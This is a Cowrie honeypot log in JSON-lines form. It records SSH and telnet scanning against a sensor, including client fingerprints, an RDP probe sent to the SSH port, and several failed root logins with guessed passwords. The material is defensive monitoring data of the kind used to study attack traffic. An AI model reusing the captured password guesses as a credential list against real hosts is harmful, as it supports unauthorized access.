{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47602,"dst_ip":"10.17.0.5","dst_port":23,"session":"33dc7b971f19","protocol":"telnet","message":"New connection: 152.42.224.71:47602 (10.17.0.5:23) [session: 33dc7b971f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:47.266647Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61608,"dst_ip":"159.203.135.109","dst_port":22,"session":"087181d25ba4","protocol":"ssh","message":"New connection: 152.42.212.128:61608 (159.203.135.109:22) [session: 087181d25ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:49.404099Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:49.409245Z","src_ip":"152.42.212.128","session":"087181d25ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:49.413160Z","src_ip":"152.42.212.128","session":"087181d25ba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47612,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2328eca40f2","protocol":"telnet","message":"New connection: 152.42.224.71:47612 (10.17.0.5:23) [session: d2328eca40f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:55.322477Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":49530,"dst_ip":"10.17.0.5","dst_port":22,"session":"96d2a3d0d6f0","protocol":"ssh","message":"New connection: 163.53.168.23:49530 (10.17.0.5:22) [session: 96d2a3d0d6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:59.701320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:59.706391Z","src_ip":"163.53.168.23","session":"96d2a3d0d6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:00.013040Z","src_ip":"163.53.168.23","session":"96d2a3d0d6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lighthouse","message":"login attempt [root/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:01.029951Z","src_ip":"163.53.168.23","session":"96d2a3d0d6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:02.269824Z","src_ip":"163.53.168.23","session":"96d2a3d0d6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43344,"dst_ip":"10.17.0.5","dst_port":23,"session":"24ad1dd5e3e2","protocol":"telnet","message":"New connection: 152.42.224.71:43344 (10.17.0.5:23) [session: 24ad1dd5e3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:06.958869Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43348,"dst_ip":"10.17.0.5","dst_port":23,"session":"74ffbc3641a7","protocol":"telnet","message":"New connection: 152.42.224.71:43348 (10.17.0.5:23) [session: 74ffbc3641a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:07.607991Z"}
{"eventid":"cowrie.session.closed","duration":20.597738027572632,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:07.864292Z","src_ip":"152.42.224.71","session":"33dc7b971f19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.15307378768921,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:13.203737Z","src_ip":"152.42.224.71","session":"9462e156ec37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.53986692428589,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:20.862191Z","src_ip":"152.42.224.71","session":"d2328eca40f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49004888534546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:38.097900Z","src_ip":"152.42.224.71","session":"74ffbc3641a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":42002,"dst_ip":"10.17.0.5","dst_port":22,"session":"29640fae5837","protocol":"ssh","message":"New connection: 43.173.88.240:42002 (10.17.0.5:22) [session: 29640fae5837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:39.831993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:39.836474Z","src_ip":"43.173.88.240","session":"29640fae5837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:39.904325Z","src_ip":"43.173.88.240","session":"29640fae5837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adk","message":"login attempt [root/adk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:40.206856Z","src_ip":"43.173.88.240","session":"29640fae5837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:41.278826Z","src_ip":"43.173.88.240","session":"29640fae5837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":47944,"dst_ip":"10.17.0.5","dst_port":22,"session":"0992710d86a6","protocol":"ssh","message":"New connection: 103.172.78.219:47944 (10.17.0.5:22) [session: 0992710d86a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:42.142984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:42.147938Z","src_ip":"103.172.78.219","session":"0992710d86a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:42.403491Z","src_ip":"103.172.78.219","session":"0992710d86a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima12345","message":"login attempt [root/dima12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:43.170488Z","src_ip":"103.172.78.219","session":"0992710d86a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:44.428066Z","src_ip":"103.172.78.219","session":"0992710d86a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":33010,"dst_ip":"159.203.135.109","dst_port":22,"session":"f68a6a2d8490","protocol":"ssh","message":"New connection: 147.45.197.250:33010 (159.203.135.109:22) [session: f68a6a2d8490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:45.803314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:45.808095Z","src_ip":"147.45.197.250","session":"f68a6a2d8490","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:45.900200Z","src_ip":"147.45.197.250","session":"f68a6a2d8490","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19981","message":"login attempt [root/19981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:46.173947Z","src_ip":"147.45.197.250","session":"f68a6a2d8490","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:47.267797Z","src_ip":"147.45.197.250","session":"f68a6a2d8490","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44570,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc576a758ec9","protocol":"telnet","message":"New connection: 152.42.224.71:44570 (10.17.0.5:23) [session: bc576a758ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:48.959152Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":43070,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb1dd75bdf8","protocol":"ssh","message":"New connection: 43.134.184.253:43070 (10.17.0.5:22) [session: dcb1dd75bdf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:52.099446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:52.103950Z","src_ip":"43.134.184.253","session":"dcb1dd75bdf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:52.345543Z","src_ip":"43.134.184.253","session":"dcb1dd75bdf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dominic1","message":"login attempt [root/dominic1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:53.333045Z","src_ip":"43.134.184.253","session":"dcb1dd75bdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:53:54.574487Z","src_ip":"43.134.184.253","session":"dcb1dd75bdf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.622679471969604,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:05.581430Z","src_ip":"152.42.224.71","session":"24ad1dd5e3e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.86600661277771,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:22.825064Z","src_ip":"152.42.224.71","session":"bc576a758ec9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54932,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa056ca51bab","protocol":"telnet","message":"New connection: 152.42.224.71:54932 (10.17.0.5:23) [session: aa056ca51bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:31.274399Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":47002,"dst_ip":"10.17.0.5","dst_port":22,"session":"f81186182e0e","protocol":"ssh","message":"New connection: 43.173.88.240:47002 (10.17.0.5:22) [session: f81186182e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:55.371754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:55.376838Z","src_ip":"43.173.88.240","session":"f81186182e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:55.444889Z","src_ip":"43.173.88.240","session":"f81186182e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@163.com","message":"login attempt [root/@163.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:55.749357Z","src_ip":"43.173.88.240","session":"f81186182e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":56464,"dst_ip":"10.17.0.5","dst_port":22,"session":"edc2a7e93a7a","protocol":"ssh","message":"New connection: 51.250.105.222:56464 (10.17.0.5:22) [session: edc2a7e93a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:56.409835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:56.414545Z","src_ip":"51.250.105.222","session":"edc2a7e93a7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:56.539819Z","src_ip":"51.250.105.222","session":"edc2a7e93a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:56.823979Z","src_ip":"43.173.88.240","session":"f81186182e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789v","message":"login attempt [root/123456789v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:56.916605Z","src_ip":"51.250.105.222","session":"edc2a7e93a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:54:58.044621Z","src_ip":"51.250.105.222","session":"edc2a7e93a7a","protocol":"ssh"}
